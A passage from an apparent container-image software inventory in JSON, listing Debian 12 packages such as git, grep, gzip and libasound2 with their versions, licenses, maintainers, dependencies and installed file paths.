"/usr/share/locale/de/LC_MESSAGES/git.mo", "/usr/share/locale/el/LC_MESSAGES/git.mo", "/usr/share/locale/es/LC_MESSAGES/git.mo", "/usr/share/locale/fr/LC_MESSAGES/git.mo", "/usr/share/locale/id/LC_MESSAGES/git.mo", "/usr/share/locale/is/LC_MESSAGES/git.mo", "/usr/share/locale/it/LC_MESSAGES/git.mo", "/usr/share/locale/ko/LC_MESSAGES/git.mo", "/usr/share/locale/pl/LC_MESSAGES/git.mo", "/usr/share/locale/pt_PT/LC_MESSAGES/git.mo", "/usr/share/locale/ru/LC_MESSAGES/git.mo", "/usr/share/locale/sv/LC_MESSAGES/git.mo", "/usr/share/locale/tr/LC_MESSAGES/git.mo", "/usr/share/locale/vi/LC_MESSAGES/git.mo", "/usr/share/locale/zh_CN/LC_MESSAGES/git.mo", "/usr/share/locale/zh_TW/LC_MESSAGES/git.mo", "/usr/share/perl5/Git.pm", "/usr/share/perl5/Git/I18N.pm", "/usr/share/perl5/Git/IndexInfo.pm", "/usr/share/perl5/Git/LoadCPAN.pm", "/usr/share/perl5/Git/LoadCPAN/Error.pm", "/usr/share/perl5/Git/LoadCPAN/Mail/Address.pm", "/usr/share/perl5/Git/Packet.pm" ], "AnalyzedBy": "dpkg" }, { "ID": "git-man@1:2.39.5-0+deb12u3", "Name": "git-man", "Identifier": { "PURL": "pkg:deb/debian/git-man@2.39.5-0%2Bdeb12u3?arch=all\u0026distro=debian-12.13\u0026epoch=1", "UID": "82373af3a9c58f45" }, "Version": "2.39.5", "Release": "0+deb12u3", "Epoch": 1, "Arch": "all", "SrcName": "git", "SrcVersion": "2.39.5", "SrcRelease": "0+deb12u3", "SrcEpoch": 1, "Licenses": [ "GPL-2.0-only", "BSD-3-Clause", "Zlib", "LGPL-2.1-or-later", "GPL-2.0-or-later", "MIT", "GPL-1.0-or-later", "Artistic-1", "Artistic-2.0", "ISC", "mingw-runtime", "BSL-1.0", "dlmalloc", "Apache-2.0", "LGPL-2.0-or-later", "LGPL-2.0-only", "LGPL-2.1-only" ], "Maintainer": "Jonathan Nieder \u003cjrnieder@gmail.com\u003e", "Repository": { "Class": "official" }, "Layer": { "DiffID": "sha256:9d3386a72ce8957db2ae40d5d6ae2e9bd2955de276268a0065f44dd2a28ca8c7" }, "InstalledFiles": [ "/usr/share/doc/git-man/changelog.Debian.gz", "/usr/share/doc/git-man/changelog.gz", "/usr/share/doc/git-man/copyright", "/usr/share/man/man1/git-add.1.gz", "/usr/share/man/man1/git-am.1.gz", "/usr/share/man/man1/git-annotate.1.gz", "/usr/share/man/man1/git-apply.1.gz", "/usr/share/man/man1/git-archive.1.gz", "/usr/share/man/man1/git-bisect.1.gz", "/usr/share/man/man1/git-blame.1.gz", "/usr/share/man/man1/git-branch.1.gz", "/usr/share/man/man1/git-bugreport.1.gz", "/usr/share/man/man1/git-bundle.1.gz", "/usr/share/man/man1/git-cat-file.1.gz", "/usr/share/man/man1/git-check-attr.1.gz", "/usr/share/man/man1/git-check-ignore.1.gz", "/usr/share/man/man1/git-check-mailmap.1.gz", "/usr/share/man/man1/git-check-ref-format.1.gz", "/usr/share/man/man1/git-checkout-index.1.gz", "/usr/share/man/man1/git-checkout.1.gz", "/usr/share/man/man1/git-cherry-pick.1.gz", "/usr/share/man/man1/git-cherry.1.gz", "/usr/share/man/man1/git-clean.1.gz", "/usr/share/man/man1/git-clone.1.gz", "/usr/share/man/man1/git-column.1.gz", "/usr/share/man/man1/git-commit-graph.1.gz", "/usr/share/man/man1/git-commit-tree.1.gz", "/usr/share/man/man1/git-commit.1.gz", "/usr/share/man/man1/git-config.1.gz", "/usr/share/man/man1/git-count-objects.1.gz", "/usr/share/man/man1/git-credential-cache--daemon.1.gz", "/usr/share/man/man1/git-credential-cache.1.gz", "/usr/share/man/man1/git-credential-store.1.gz", "/usr/share/man/man1/git-credential.1.gz", "/usr/share/man/man1/git-daemon.1.gz", "/usr/share/man/man1/git-describe.1.gz", "/usr/share/man/man1/git-diagnose.1.gz", "/usr/share/man/man1/git-diff-files.1.gz", "/usr/share/man/man1/git-diff-index.1.gz", "/usr/share/man/man1/git-diff-tree.1.gz", "/usr/share/man/man1/git-diff.1.gz", "/usr/share/man/man1/git-difftool.1.gz", "/usr/share/man/man1/git-fast-export.1.gz", "/usr/share/man/man1/git-fast-import.1.gz", "/usr/share/man/man1/git-fetch-pack.1.gz", "/usr/share/man/man1/git-fetch.1.gz", "/usr/share/man/man1/git-filter-branch.1.gz", "/usr/share/man/man1/git-fmt-merge-msg.1.gz", "/usr/share/man/man1/git-for-each-ref.1.gz", "/usr/share/man/man1/git-for-each-repo.1.gz", "/usr/share/man/man1/git-format-patch.1.gz", "/usr/share/man/man1/git-fsck-objects.1.gz", "/usr/share/man/man1/git-fsck.1.gz", "/usr/share/man/man1/git-fsmonitor--daemon.1.gz", "/usr/share/man/man1/git-gc.1.gz", "/usr/share/man/man1/git-get-tar-commit-id.1.gz", "/usr/share/man/man1/git-grep.1.gz", "/usr/share/man/man1/git-hash-object.1.gz", "/usr/share/man/man1/git-help.1.gz", "/usr/share/man/man1/git-hook.1.gz", "/usr/share/man/man1/git-http-backend.1.gz", "/usr/share/man/man1/git-http-fetch.1.gz", "/usr/share/man/man1/git-http-push.1.gz", "/usr/share/man/man1/git-imap-send.1.gz", "/usr/share/man/man1/git-index-pack.1.gz", "/usr/share/man/man1/git-init-db.1.gz", "/usr/share/man/man1/git-init.1.gz", "/usr/share/man/man1/git-instaweb.1.gz", "/usr/share/man/man1/git-interpret-trailers.1.gz", "/usr/share/man/man1/git-log.1.gz", "/usr/share/man/man1/git-ls-files.1.gz", "/usr/share/man/man1/git-ls-remote.1.gz", "/usr/share/man/man1/git-ls-tree.1.gz", "/usr/share/man/man1/git-mailinfo.1.gz", "/usr/share/man/man1/git-mailsplit.1.gz", "/usr/share/man/man1/git-maintenance.1.gz", "/usr/share/man/man1/git-merge-base.1.gz", "/usr/share/man/man1/git-merge-file.1.gz", "/usr/share/man/man1/git-merge-index.1.gz", "/usr/share/man/man1/git-merge-one-file.1.gz", "/usr/share/man/man1/git-merge-tree.1.gz", "/usr/share/man/man1/git-merge.1.gz", "/usr/share/man/man1/git-mergetool--lib.1.gz", "/usr/share/man/man1/git-mergetool.1.gz", "/usr/share/man/man1/git-mktag.1.gz", "/usr/share/man/man1/git-mktree.1.gz", "/usr/share/man/man1/git-multi-pack-index.1.gz", "/usr/share/man/man1/git-mv.1.gz", "/usr/share/man/man1/git-name-rev.1.gz", "/usr/share/man/man1/git-notes.1.gz", "/usr/share/man/man1/git-pack-objects.1.gz", "/usr/share/man/man1/git-pack-redundant.1.gz", "/usr/share/man/man1/git-pack-refs.1.gz", "/usr/share/man/man1/git-patch-id.1.gz", "/usr/share/man/man1/git-prune-packed.1.gz", "/usr/share/man/man1/git-prune.1.gz", "/usr/share/man/man1/git-pull.1.gz", "/usr/share/man/man1/git-push.1.gz", "/usr/share/man/man1/git-quiltimport.1.gz", "/usr/share/man/man1/git-range-diff.1.gz", "/usr/share/man/man1/git-read-tree.1.gz", "/usr/share/man/man1/git-rebase.1.gz", "/usr/share/man/man1/git-receive-pack.1.gz", "/usr/share/man/man1/git-reflog.1.gz", "/usr/share/man/man1/git-remote-ext.1.gz", "/usr/share/man/man1/git-remote-fd.1.gz", "/usr/share/man/man1/git-remote.1.gz", "/usr/share/man/man1/git-repack.1.gz", "/usr/share/man/man1/git-replace.1.gz", "/usr/share/man/man1/git-request-pull.1.gz", "/usr/share/man/man1/git-rerere.1.gz", "/usr/share/man/man1/git-reset.1.gz", "/usr/share/man/man1/git-restore.1.gz", "/usr/share/man/man1/git-rev-list.1.gz", "/usr/share/man/man1/git-rev-parse.1.gz", "/usr/share/man/man1/git-revert.1.gz", "/usr/share/man/man1/git-rm.1.gz", "/usr/share/man/man1/git-send-pack.1.gz", "/usr/share/man/man1/git-sh-i18n--envsubst.1.gz", "/usr/share/man/man1/git-sh-i18n.1.gz", "/usr/share/man/man1/git-sh-setup.1.gz", "/usr/share/man/man1/git-shell.1.gz", "/usr/share/man/man1/git-shortlog.1.gz", "/usr/share/man/man1/git-show-branch.1.gz", "/usr/share/man/man1/git-show-index.1.gz", "/usr/share/man/man1/git-show-ref.1.gz", "/usr/share/man/man1/git-show.1.gz", "/usr/share/man/man1/git-sparse-checkout.1.gz", "/usr/share/man/man1/git-stage.1.gz", "/usr/share/man/man1/git-stash.1.gz", "/usr/share/man/man1/git-status.1.gz", "/usr/share/man/man1/git-stripspace.1.gz", "/usr/share/man/man1/git-submodule.1.gz", "/usr/share/man/man1/git-subtree.1.gz", "/usr/share/man/man1/git-switch.1.gz", "/usr/share/man/man1/git-symbolic-ref.1.gz", "/usr/share/man/man1/git-tag.1.gz", "/usr/share/man/man1/git-unpack-file.1.gz", "/usr/share/man/man1/git-unpack-objects.1.gz", "/usr/share/man/man1/git-update-index.1.gz", "/usr/share/man/man1/git-update-ref.1.gz", "/usr/share/man/man1/git-update-server-info.1.gz", "/usr/share/man/man1/git-upload-archive.1.gz", "/usr/share/man/man1/git-upload-pack.1.gz", "/usr/share/man/man1/git-var.1.gz", "/usr/share/man/man1/git-verify-commit.1.gz", "/usr/share/man/man1/git-verify-pack.1.gz", "/usr/share/man/man1/git-verify-tag.1.gz", "/usr/share/man/man1/git-version.1.gz", "/usr/share/man/man1/git-web--browse.1.gz", "/usr/share/man/man1/git-whatchanged.1.gz", "/usr/share/man/man1/git-worktree.1.gz", "/usr/share/man/man1/git-write-tree.1.gz", "/usr/share/man/man1/git.1.gz", "/usr/share/man/man1/gitweb.1.gz", "/usr/share/man/man1/scalar.1.gz", "/usr/share/man/man3/Git.3pm.gz", "/usr/share/man/man5/gitattributes.5.gz", "/usr/share/man/man5/gitformat-bundle.5.gz", "/usr/share/man/man5/gitformat-chunk.5.gz", "/usr/share/man/man5/gitformat-commit-graph.5.gz", "/usr/share/man/man5/gitformat-index.5.gz", "/usr/share/man/man5/gitformat-pack.5.gz", "/usr/share/man/man5/gitformat-signature.5.gz", "/usr/share/man/man5/githooks.5.gz", "/usr/share/man/man5/gitignore.5.gz", "/usr/share/man/man5/gitmailmap.5.gz", "/usr/share/man/man5/gitmodules.5.gz", "/usr/share/man/man5/gitprotocol-capabilities.5.gz", "/usr/share/man/man5/gitprotocol-common.5.gz", "/usr/share/man/man5/gitprotocol-http.5.gz", "/usr/share/man/man5/gitprotocol-pack.5.gz", "/usr/share/man/man5/gitprotocol-v2.5.gz", "/usr/share/man/man5/gitrepository-layout.5.gz", "/usr/share/man/man5/gitweb.conf.5.gz", "/usr/share/man/man7/gitcli.7.gz", "/usr/share/man/man7/gitcore-tutorial.7.gz", "/usr/share/man/man7/gitcredentials.7.gz", "/usr/share/man/man7/gitcvs-migration.7.gz", "/usr/share/man/man7/gitdiffcore.7.gz", "/usr/share/man/man7/giteveryday.7.gz", "/usr/share/man/man7/gitfaq.7.gz", "/usr/share/man/man7/gitglossary.7.gz", "/usr/share/man/man7/gitnamespaces.7.gz", "/usr/share/man/man7/gitremote-helpers.7.gz", "/usr/share/man/man7/gitrevisions.7.gz", "/usr/share/man/man7/gitsubmodules.7.gz", "/usr/share/man/man7/gittutorial-2.7.gz", "/usr/share/man/man7/gittutorial.7.gz", "/usr/share/man/man7/gitworkflows.7.gz" ], "AnalyzedBy": "dpkg" }, { "ID": "gpgv@2.2.40-1.1+deb12u2", "Name": "gpgv", "Identifier": { "PURL": "pkg:deb/debian/gpgv@2.2.40-1.1%2Bdeb12u2?arch=amd64\u0026distro=debian-12.13", "UID": "47ce7e3953b58106" }, "Version": "2.2.40", "Release": "1.1+deb12u2", "Arch": "amd64", "SrcName": "gnupg2", "SrcVersion": "2.2.40", "SrcRelease": "1.1+deb12u2", "Licenses": [ "GPL-3.0-or-later", "permissive", "LGPL-2.1-or-later", "MIT", "BSD-3-Clause", "LGPL-3.0-or-later", "RFC-Reference", "TinySCHEME", "CC0-1.0", "GPL-3.0-only", "LGPL-3.0-only", "LGPL-2.1-only" ], "Maintainer": "Debian GnuPG Maintainers \u003cpkg-gnupg-maint@lists.alioth.debian.org\u003e", "Repository": { "Class": "official" }, "DependsOn": [ "libbz2-1.0@1.0.8-5+b1", "libc6@2.36-9+deb12u13", "libgcrypt20@1.10.1-3", "libgpg-error0@1.46-1", "zlib1g@1:1.2.13.dfsg-1" ], "Layer": { "DiffID": "sha256:e48af84b2108a5d73effd9e16685b42ac33e7994e606398c46690918f5f3604a" }, "InstalledFiles": [ "/usr/bin/gpgv", "/usr/share/doc/gpgv/NEWS.Debian.gz", "/usr/share/doc/gpgv/changelog.Debian.gz", "/usr/share/doc/gpgv/changelog.gz", "/usr/share/doc/gpgv/copyright", "/usr/share/man/man1/gpgv.1.gz" ], "AnalyzedBy": "dpkg" }, { "ID": "grep@3.8-5", "Name": "grep", "Identifier": { "PURL": "pkg:deb/debian/grep@3.8-5?arch=amd64\u0026distro=debian-12.13", "UID": "f5dc5b994df6faab" }, "Version": "3.8", "Release": "5", "Arch": "amd64", "SrcName": "grep", "SrcVersion": "3.8", "SrcRelease": "5", "Licenses": [ "GPL-3.0-or-later", "GPL-3.0-only" ], "Maintainer": "Anibal Monsalve Salazar \u003canibal@debian.org\u003e", "Repository": { "Class": "official" }, "DependsOn": [ "dpkg@1.21.22" ], "Layer": { "DiffID": "sha256:e48af84b2108a5d73effd9e16685b42ac33e7994e606398c46690918f5f3604a" }, "InstalledFiles": [ "/bin/egrep", "/bin/fgrep", "/bin/grep", "/usr/bin/rgrep", "/usr/share/doc/grep/AUTHORS", "/usr/share/doc/grep/NEWS.Debian.gz", "/usr/share/doc/grep/NEWS.gz", "/usr/share/doc/grep/README", "/usr/share/doc/grep/THANKS.gz", "/usr/share/doc/grep/TODO.gz", "/usr/share/doc/grep/changelog.Debian.gz", "/usr/share/doc/grep/changelog.gz", "/usr/share/doc/grep/copyright", "/usr/share/info/grep.info.gz", "/usr/share/locale/af/LC_MESSAGES/grep.mo", "/usr/share/locale/be/LC_MESSAGES/grep.mo", "/usr/share/locale/bg/LC_MESSAGES/grep.mo", "/usr/share/locale/ca/LC_MESSAGES/grep.mo", "/usr/share/locale/cs/LC_MESSAGES/grep.mo", "/usr/share/locale/da/LC_MESSAGES/grep.mo", "/usr/share/locale/de/LC_MESSAGES/grep.mo", "/usr/share/locale/el/LC_MESSAGES/grep.mo", "/usr/share/locale/eo/LC_MESSAGES/grep.mo", "/usr/share/locale/es/LC_MESSAGES/grep.mo", "/usr/share/locale/et/LC_MESSAGES/grep.mo", "/usr/share/locale/eu/LC_MESSAGES/grep.mo", "/usr/share/locale/fi/LC_MESSAGES/grep.mo", "/usr/share/locale/fr/LC_MESSAGES/grep.mo", "/usr/share/locale/ga/LC_MESSAGES/grep.mo", "/usr/share/locale/gl/LC_MESSAGES/grep.mo", "/usr/share/locale/he/LC_MESSAGES/grep.mo", "/usr/share/locale/hr/LC_MESSAGES/grep.mo", "/usr/share/locale/hu/LC_MESSAGES/grep.mo", "/usr/share/locale/id/LC_MESSAGES/grep.mo", "/usr/share/locale/it/LC_MESSAGES/grep.mo", "/usr/share/locale/ja/LC_MESSAGES/grep.mo", "/usr/share/locale/ka/LC_MESSAGES/grep.mo", "/usr/share/locale/ko/LC_MESSAGES/grep.mo", "/usr/share/locale/ky/LC_MESSAGES/grep.mo", "/usr/share/locale/lt/LC_MESSAGES/grep.mo", "/usr/share/locale/nb/LC_MESSAGES/grep.mo", "/usr/share/locale/nl/LC_MESSAGES/grep.mo", "/usr/share/locale/pa/LC_MESSAGES/grep.mo", "/usr/share/locale/pl/LC_MESSAGES/grep.mo", "/usr/share/locale/pt/LC_MESSAGES/grep.mo", "/usr/share/locale/pt_BR/LC_MESSAGES/grep.mo", "/usr/share/locale/ro/LC_MESSAGES/grep.mo", "/usr/share/locale/ru/LC_MESSAGES/grep.mo", "/usr/share/locale/sk/LC_MESSAGES/grep.mo", "/usr/share/locale/sl/LC_MESSAGES/grep.mo", "/usr/share/locale/sr/LC_MESSAGES/grep.mo", "/usr/share/locale/sv/LC_MESSAGES/grep.mo", "/usr/share/locale/ta/LC_MESSAGES/grep.mo", "/usr/share/locale/th/LC_MESSAGES/grep.mo", "/usr/share/locale/tr/LC_MESSAGES/grep.mo", "/usr/share/locale/uk/LC_MESSAGES/grep.mo", "/usr/share/locale/vi/LC_MESSAGES/grep.mo", "/usr/share/locale/zh_CN/LC_MESSAGES/grep.mo", "/usr/share/locale/zh_TW/LC_MESSAGES/grep.mo", "/usr/share/man/man1/grep.1.gz" ], "AnalyzedBy": "dpkg" }, { "ID": "gzip@1.12-1", "Name": "gzip", "Identifier": { "PURL": "pkg:deb/debian/gzip@1.12-1?arch=amd64\u0026distro=debian-12.13", "UID": "d98f822bb32810f3" }, "Version": "1.12", "Release": "1", "Arch": "amd64", "SrcName": "gzip", "SrcVersion": "1.12", "SrcRelease": "1", "Licenses": [ "GPL-3.0-or-later", "GFDL-1.3+-no-invariant", "FSF-manpages", "GPL-3.0-only", "GFDL-3" ], "Maintainer": "Milan Kupcevic \u003cmilan@debian.org\u003e", "Repository": { "Class": "official" }, "DependsOn": [ "dpkg@1.21.22" ], "Layer": { "DiffID": "sha256:e48af84b2108a5d73effd9e16685b42ac33e7994e606398c46690918f5f3604a" }, "InstalledFiles": [ "/bin/gunzip", "/bin/gzexe", "/bin/gzip", "/bin/uncompress", "/bin/zcat", "/bin/zcmp", "/bin/zdiff", "/bin/zegrep", "/bin/zfgrep", "/bin/zforce", "/bin/zgrep", "/bin/zless", "/bin/zmore", "/bin/znew", "/usr/share/doc/gzip/NEWS.gz", "/usr/share/doc/gzip/README.gz", "/usr/share/doc/gzip/TODO", "/usr/share/doc/gzip/changelog.Debian.gz", "/usr/share/doc/gzip/changelog.gz", "/usr/share/doc/gzip/copyright", "/usr/share/info/gzip.info.gz", "/usr/share/man/man1/gzexe.1.gz", "/usr/share/man/man1/gzip.1.gz", "/usr/share/man/man1/zdiff.1.gz", "/usr/share/man/man1/zforce.1.gz", "/usr/share/man/man1/zgrep.1.gz", "/usr/share/man/man1/zless.1.gz", "/usr/share/man/man1/zmore.1.gz", "/usr/share/man/man1/znew.1.gz" ], "AnalyzedBy": "dpkg" }, { "ID": "hostname@3.23+nmu1", "Name": "hostname", "Identifier": { "PURL": "pkg:deb/debian/hostname@3.23%2Bnmu1?arch=amd64\u0026distro=debian-12.13", "UID": "ac0861c445a984c2" }, "Version": "3.23+nmu1", "Arch": "amd64", "SrcName": "hostname", "SrcVersion": "3.23+nmu1", "Licenses": [ "GPL-2.0-only" ], "Maintainer": "Michael Meskes \u003cmeskes@debian.org\u003e", "Repository": { "Class": "official" }, "Layer": { "DiffID": "sha256:e48af84b2108a5d73effd9e16685b42ac33e7994e606398c46690918f5f3604a" }, "InstalledFiles": [ "/bin/hostname", "/usr/share/doc/hostname/changelog.gz", "/usr/share/doc/hostname/copyright", "/usr/share/man/man1/hostname.1.gz" ], "AnalyzedBy": "dpkg" }, { "ID": "init-system-helpers@1.65.2+deb12u1", "Name": "init-system-helpers", "Identifier": { "PURL": "pkg:deb/debian/init-system-helpers@1.65.2%2Bdeb12u1?arch=all\u0026distro=debian-12.13", "UID": "eb19be52d5305b25" }, "Version": "1.65.2+deb12u1", "Arch": "all", "SrcName": "init-system-helpers", "SrcVersion": "1.65.2+deb12u1", "Licenses": [ "BSD-3-Clause", "GPL-2.0-or-later", "GPL-2.0-only" ], "Maintainer": "Debian systemd Maintainers \u003cpkg-systemd-maintainers@lists.alioth.debian.org\u003e", "Repository": { "Class": "official" }, "DependsOn": [ "usr-is-merged@37~deb12u1" ], "Layer": { "DiffID": "sha256:e48af84b2108a5d73effd9e16685b42ac33e7994e606398c46690918f5f3604a" }, "InstalledFiles": [ "/usr/bin/deb-systemd-helper", "/usr/bin/deb-systemd-invoke", "/usr/sbin/invoke-rc.d", "/usr/sbin/service", "/usr/sbin/update-rc.d", "/usr/share/bug/init-system-helpers/control", "/usr/share/doc/init-system-helpers/README.invoke-rc.d.gz", "/usr/share/doc/init-system-helpers/README.policy-rc.d.gz", "/usr/share/doc/init-system-helpers/changelog.gz", "/usr/share/doc/init-system-helpers/copyright", "/usr/share/lintian/overrides/init-system-helpers", "/usr/share/man/man1/deb-systemd-helper.1p.gz", "/usr/share/man/man1/deb-systemd-invoke.1p.gz", "/usr/share/man/man8/invoke-rc.d.8.gz", "/usr/share/man/man8/service.8.gz", "/usr/share/man/man8/update-rc.d.8.gz" ], "AnalyzedBy": "dpkg" }, { "ID": "libacl1@2.3.1-3", "Name": "libacl1", "Identifier": { "PURL": "pkg:deb/debian/libacl1@2.3.1-3?arch=amd64\u0026distro=debian-12.13", "UID": "e0f2bdb67b2d1f8d" }, "Version": "2.3.1", "Release": "3", "Arch": "amd64", "SrcName": "acl", "SrcVersion": "2.3.1", "SrcRelease": "3", "Licenses": [ "GPL-2.0-or-later", "GPL-2.0-only", "LGPL-2.0-or-later", "LGPL-2.1-only" ], "Maintainer": "Guillem Jover \u003cguillem@debian.org\u003e", "Repository": { "Class": "official" }, "DependsOn": [ "libc6@2.36-9+deb12u13" ], "Layer": { "DiffID": "sha256:e48af84b2108a5d73effd9e16685b42ac33e7994e606398c46690918f5f3604a" }, "InstalledFiles": [ "/usr/lib/x86_64-linux-gnu/libacl.so.1.1.2301", "/usr/share/doc/libacl1/changelog.Debian.gz", "/usr/share/doc/libacl1/changelog.gz", "/usr/share/doc/libacl1/copyright", "/usr/share/lintian/overrides/libacl1" ], "AnalyzedBy": "dpkg" }, { "ID": "libapt-pkg6.0@2.6.1", "Name": "libapt-pkg6.0", "Identifier": { "PURL": "pkg:deb/debian/libapt-pkg6.0@2.6.1?arch=amd64\u0026distro=debian-12.13", "UID": "1e52e81038616709" }, "Version": "2.6.1", "Arch": "amd64", "SrcName": "apt", "SrcVersion": "2.6.1", "Licenses": [ "GPL-2.0-or-later", "GPL-2.0-only", "BSD-3-Clause", "MIT" ], "Maintainer": "APT Development Team \u003cdeity@lists.debian.org\u003e", "Repository": { "Class": "official" }, "DependsOn": [ "libbz2-1.0@1.0.8-5+b1", "libc6@2.36-9+deb12u13", "libgcc-s1@12.2.0-14+deb12u1", "libgcrypt20@1.10.1-3", "liblz4-1@1.9.4-1", "liblzma5@5.4.1-1", "libstdc++6@12.2.0-14+deb12u1", "libsystemd0@252.39-1~deb12u1", "libudev1@252.39-1~deb12u1", "libxxhash0@0.8.1-1", "libzstd1@1.5.4+dfsg2-5", "zlib1g@1:1.2.13.dfsg-1" ], "Layer": { "DiffID": "sha256:e48af84b2108a5d73effd9e16685b42ac33e7994e606398c46690918f5f3604a" }, "InstalledFiles": [ "/usr/lib/x86_64-linux-gnu/libapt-pkg.so.6.0.0", "/usr/share/doc/libapt-pkg6.0/NEWS.Debian.gz", "/usr/share/doc/libapt-pkg6.0/changelog.gz", "/usr/share/doc/libapt-pkg6.0/copyright", "/usr/share/locale/ar/LC_MESSAGES/libapt-pkg6.0.mo", "/usr/share/locale/ast/LC_MESSAGES/libapt-pkg6.0.mo", "/usr/share/locale/bg/LC_MESSAGES/libapt-pkg6.0.mo", "/usr/share/locale/bs/LC_MESSAGES/libapt-pkg6.0.mo", "/usr/share/locale/ca/LC_MESSAGES/libapt-pkg6.0.mo", "/usr/share/locale/cs/LC_MESSAGES/libapt-pkg6.0.mo", "/usr/share/locale/cy/LC_MESSAGES/libapt-pkg6.0.mo", "/usr/share/locale/da/LC_MESSAGES/libapt-pkg6.0.mo", "/usr/share/locale/de/LC_MESSAGES/libapt-pkg6.0.mo", "/usr/share/locale/dz/LC_MESSAGES/libapt-pkg6.0.mo", "/usr/share/locale/el/LC_MESSAGES/libapt-pkg6.0.mo", "/usr/share/locale/es/LC_MESSAGES/libapt-pkg6.0.mo", "/usr/share/locale/eu/LC_MESSAGES/libapt-pkg6.0.mo", "/usr/share/locale/fi/LC_MESSAGES/libapt-pkg6.0.mo", "/usr/share/locale/fr/LC_MESSAGES/libapt-pkg6.0.mo", "/usr/share/locale/gl/LC_MESSAGES/libapt-pkg6.0.mo", "/usr/share/locale/hu/LC_MESSAGES/libapt-pkg6.0.mo", "/usr/share/locale/it/LC_MESSAGES/libapt-pkg6.0.mo", "/usr/share/locale/ja/LC_MESSAGES/libapt-pkg6.0.mo", "/usr/share/locale/km/LC_MESSAGES/libapt-pkg6.0.mo", "/usr/share/locale/ko/LC_MESSAGES/libapt-pkg6.0.mo", "/usr/share/locale/ku/LC_MESSAGES/libapt-pkg6.0.mo", "/usr/share/locale/lt/LC_MESSAGES/libapt-pkg6.0.mo", "/usr/share/locale/mr/LC_MESSAGES/libapt-pkg6.0.mo", "/usr/share/locale/nb/LC_MESSAGES/libapt-pkg6.0.mo", "/usr/share/locale/ne/LC_MESSAGES/libapt-pkg6.0.mo", "/usr/share/locale/nl/LC_MESSAGES/libapt-pkg6.0.mo", "/usr/share/locale/nn/LC_MESSAGES/libapt-pkg6.0.mo", "/usr/share/locale/pl/LC_MESSAGES/libapt-pkg6.0.mo", "/usr/share/locale/pt/LC_MESSAGES/libapt-pkg6.0.mo", "/usr/share/locale/pt_BR/LC_MESSAGES/libapt-pkg6.0.mo", "/usr/share/locale/ro/LC_MESSAGES/libapt-pkg6.0.mo", "/usr/share/locale/ru/LC_MESSAGES/libapt-pkg6.0.mo", "/usr/share/locale/sk/LC_MESSAGES/libapt-pkg6.0.mo", "/usr/share/locale/sl/LC_MESSAGES/libapt-pkg6.0.mo", "/usr/share/locale/sv/LC_MESSAGES/libapt-pkg6.0.mo", "/usr/share/locale/th/LC_MESSAGES/libapt-pkg6.0.mo", "/usr/share/locale/tl/LC_MESSAGES/libapt-pkg6.0.mo", "/usr/share/locale/tr/LC_MESSAGES/libapt-pkg6.0.mo", "/usr/share/locale/uk/LC_MESSAGES/libapt-pkg6.0.mo", "/usr/share/locale/vi/LC_MESSAGES/libapt-pkg6.0.mo", "/usr/share/locale/zh_CN/LC_MESSAGES/libapt-pkg6.0.mo", "/usr/share/locale/zh_TW/LC_MESSAGES/libapt-pkg6.0.mo" ], "AnalyzedBy": "dpkg" }, { "ID": "libasan8@12.2.0-14+deb12u1", "Name": "libasan8", "Identifier": { "PURL": "pkg:deb/debian/libasan8@12.2.0-14%2Bdeb12u1?arch=amd64\u0026distro=debian-12.13", "UID": "1e4e0bc8a188cdb5" }, "Version": "12.2.0", "Release": "14+deb12u1", "Arch": "amd64", "SrcName": "gcc-12", "SrcVersion": "12.2.0", "SrcRelease": "14+deb12u1", "Maintainer": "Debian GCC Maintainers \u003cdebian-gcc@lists.debian.org\u003e", "Repository": { "Class": "official" }, "DependsOn": [ "gcc-12-base@12.2.0-14+deb12u1", "libc6@2.36-9+deb12u13", "libgcc-s1@12.2.0-14+deb12u1" ], "Layer": { "DiffID": "sha256:9d3386a72ce8957db2ae40d5d6ae2e9bd2955de276268a0065f44dd2a28ca8c7" }, "InstalledFiles": [ "/usr/lib/x86_64-linux-gnu/libasan.so.8.0.0" ], "AnalyzedBy": "dpkg" }, { "ID": "libasound2@1.2.8-1+b1", "Name": "libasound2", "Identifier": { "PURL": "pkg:deb/debian/libasound2@1.2.8-1%2Bb1?arch=amd64\u0026distro=debian-12.13", "UID": "95132dba9d03b365" }, "Version": "1.2.8", "Release": "1+b1", "Arch": "amd64", "SrcName": "alsa-lib", "SrcVersion": "1.2.8", "SrcRelease": "1", "Licenses": [ "LPGL-2.1+", "LGPL-2.1-only" ], "Maintainer": "Debian ALSA Maintainers \u003cpkg-alsa-devel@lists.alioth.debian.org\u003e", "Repository": { "Class": "official" }, "DependsOn": [ "libasound2-data@1.2.8-1", "libc6@2.36-9+deb12u13" ], "Layer": { "DiffID": "sha256:9d3386a72ce8957db2ae40d5d6ae2e9bd2955de276268a0065f44dd2a28ca8c7" }, "InstalledFiles": [ "/usr/lib/x86_64-linux-gnu/libasound.so.2.0.0", "/usr/share/doc/libasound2/NEWS.Debian.gz", "/usr/share/doc/libasound2/changelog.Debian.amd64.gz", "/usr/share/doc/libasound2/changelog.Debian.gz", "/usr/share/doc/libasound2/copyright", "/usr/share/doc/libasound2/examples/asoundrc.txt" ], "AnalyzedBy": "dpkg" }, { "ID": "libasound2-data@1.2.8-1", "Name": "libasound2-data", "Identifier": { "PURL": "pkg:deb/debian/libasound2-data@1.2.8-1?arch=all\u0026distro=debian-12.13", "UID": "8fe48187a978c9d7" }, "Version": "1.2.8", "Release": "1", "Arch": "all", "SrcName": "alsa-lib", "SrcVersion": "1.2.8", "SrcRelease": "1", "Licenses": [ "LPGL-2.1+", "LGPL-2.1-only" ], "Maintainer": "Debian ALSA Maintainers \u003cpkg-alsa-devel@lists.alioth.debian.org\u003e", "Repository": { "Class": "official" }, "Layer": { "DiffID": "sha256:9d3386a72ce8957db2ae40d5d6ae2e9bd2955de276268a0065f44dd2a28ca8c7" }, "InstalledFiles": [ "/usr/share/alsa/alsa.conf", "/usr/share/alsa/cards/AACI.conf", "/usr/share/alsa/cards/ATIIXP-MODEM.conf", "/usr/share/alsa/cards/ATIIXP-SPDMA.conf", "/usr/share/alsa/cards/ATIIXP.conf", "/usr/share/alsa/cards/AU8810.conf", "/usr/share/alsa/cards/AU8820.conf", "/usr/share/alsa/cards/AU8830.conf", "/usr/share/alsa/cards/Audigy.conf", "/usr/share/alsa/cards/Audigy2.conf", "/usr/share/alsa/cards/Aureon51.conf", "/usr/share/alsa/cards/Aureon71.conf", "/usr/share/alsa/cards/CA0106.conf", "/usr/share/alsa/cards/CMI8338-SWIEC.conf", "/usr/share/alsa/cards/CMI8338.conf", "/usr/share/alsa/cards/CMI8738-MC6.conf", "/usr/share/alsa/cards/CMI8738-MC8.conf", 